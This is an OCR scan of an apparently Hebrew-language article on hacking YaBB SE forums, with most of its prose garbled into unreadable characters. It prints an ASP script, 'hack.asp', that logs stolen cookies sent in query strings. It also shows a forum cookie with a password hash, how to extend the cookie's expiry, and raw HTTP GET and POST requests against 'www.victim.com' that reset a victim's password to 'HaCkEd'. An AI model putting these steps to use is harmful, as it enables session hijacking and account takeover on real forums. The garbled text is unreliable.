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3} An Error Has Occurred! - Microsoft Internet Explorer 2 o ]
File Edit Wiew Favorites Tools Help ‘

¢aBack ~ = - @ it | @Search [3¢] Favarites @Media @ | %v = M= o5 E

Address I@ httpef flocalhost iy abbsefindes:, phprboard=; action=loginz j @GD | Links

[~

Welcome, Guest, Please

W— : ' = 4 '; - Login or Register.
Y D)~ | = February 09, 2003,
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(W home) [ 2 help ) (B search ) (1201ogn ] (=] register)

MNewss: Mir was here ;-)

An Error Has Occurred!

Username does not exist, - ¥abBk: 123HERE123

Back
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Login with username, password and session length
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:NaN QTN NIFAY 710 MoK T .cookies-n NX MAIXD 9TA V' NYD

' file name: hack.asp
<%

Const ForAppending = 8
Const Create = True

Dim MyFile

Dim FSO ' FileSystemObject

Dim TSO ' TextStreamObject

Dim Str

Str = Request.ServerVariables ("QUERY_STRING")

MyFile = Server.MapPath("./db/log.txt")

Set FSO
Set TSO

Server.CreateObject ("Scripting.FileSystemObject")
FSO.OpenTextFile (MyFile, ForAppending, Create)

if (Str <> "") then TSO.Writeline Str

TSO.close

Set TSO = Nothing

Set FSO = Nothing

%>

<HTML>

<BODY>

You have just been hacked.
</BODY>

</HTML>

29nn ,Request.ServerVariables("QUERY_STRING") ninwnn pim nx ann 7" q1n
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72U NMNTIFN XNOON .wnNNwnn '019 [13TY7 wnwnin (form) 0910 N1'd>n 0'mMNIdN Ndwn
N{?'TaN .XN0O0 NNYY? Wpan wnnwnin Twxd ,YaBB 1 7y nuam ni'x wnnwnn

UNNWN INIR 7w cookie-n N 1 *T' 7V N'WYl 7N Wnnun XN YNnnunnw

17w Xnoon NX NIYY7 72100 XIN ,0'MNI9] INY'7D wnnwn 7w cookie w' qpin? ox ,|xdn

nn1In'o
.0¥Io X IR "R wnnwnn ovw - USERNAME  »

.USERNAME-"7 n>"win cookie-n - USERNAME COOKIE e

YaBB v cookie-n n1an

:NNaN Nixnn RN YaBB 7w cookie-n mian

Cookie: YaBBusername=<USERNAME>; YaBBpassword=ys6bPWmp44PXA;
expiretime=1034304354

,]20170 NNoOo NX NIWY 212! qin .cookie-n qpIn ypIo 'mn ['¥n NITYNN TNKY 17 D'W)

NN MI¥a cookie-n NX NWY XN NiIwy? 1'7yw 95 .12y cookie-n Ny'po T OX 17'9X

Cookie: YaBBusername=<USERNAME; YaBBpassword=ys6bPWmp44PXA;
expiretime=9999999999

.T'an 9pn 't cookie-n ,nT npna
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NYTN XNOOY WNNYNN NNo'o '11'wU7 nwn 711

22177 11X NN LI7W D'0N9N 70 IR KT WNNWNN NNOO NIX 71 NIYWY? NXN pINn DX ,N'URD
-0 NYPA7 DNIX 901" KIN LI7X D'01D NX 727" QRINNY INK7 .YNN UNNwnNn ‘019 NX
cookie-n nx oa 717on POST-n nwiza) .wnnwnn nnoo Nx niaw? nin 7y 1onw POST

.(nmn

YN 7R IXAN NYRAN IR N7W) ,UnNunn ‘019 DK XIXN7 nin 7y

GET /forums/index.php?board=;action=profile;user=<USERNAME> HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel,
application/msword, */*

Accept-Language: en-us

Cookie: <USERNAME COOKIE>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Host: www.victim.com

Proxy—-Connection: Keep-Alive

17 0'wl .DNIXK NYY qpin? qwwer' p1 ,USERNAME %w n'o19on ny 0910 2'tn nnwn
7y cookie-n N'7IT 12T T K71 ,17W NNTIEN XNO0Y WNNnwnn NX 7RIV X7 0910nY NTaIv7?

UNNUNN Xnoo NX N7 nn 7y POST nwpa nw1 ,nyd .qpn wnnwn InTY XTI Nin

NNAN Nwza? it akn POST-n nupa

POST /forums/index.php?board=;action=profile2 HTTP/1.1

Accept: application/vnd.ms-powerpoint, application/vnd.ms-excel,
application/msword, image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, */*

Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
TUCOWS; YComp 5.0.0.0)

Host: www.victim.com

Content-Length: 286

Proxy—-Connection: Keep-Alive

Pragma: no-cache

Cookie: <USERNAME COOKIE>
userID=666&user=<USERNAME>&passwrdl=HaCkEd&passwrd2=HaCkEd&name=<USER
NAME>&email=victim@hotmail .com&gender=&bdayl=00&bday2=00&bday3=0000&1
ocation=&websitetitle=&websiteurl=&icq=3&aim=&msn=&yim=&usertext=&hid
eemail=on&usertimeformat=&usertimeoffset=0&signature=&secretQuestion=
&secretAnswer=&moda=1
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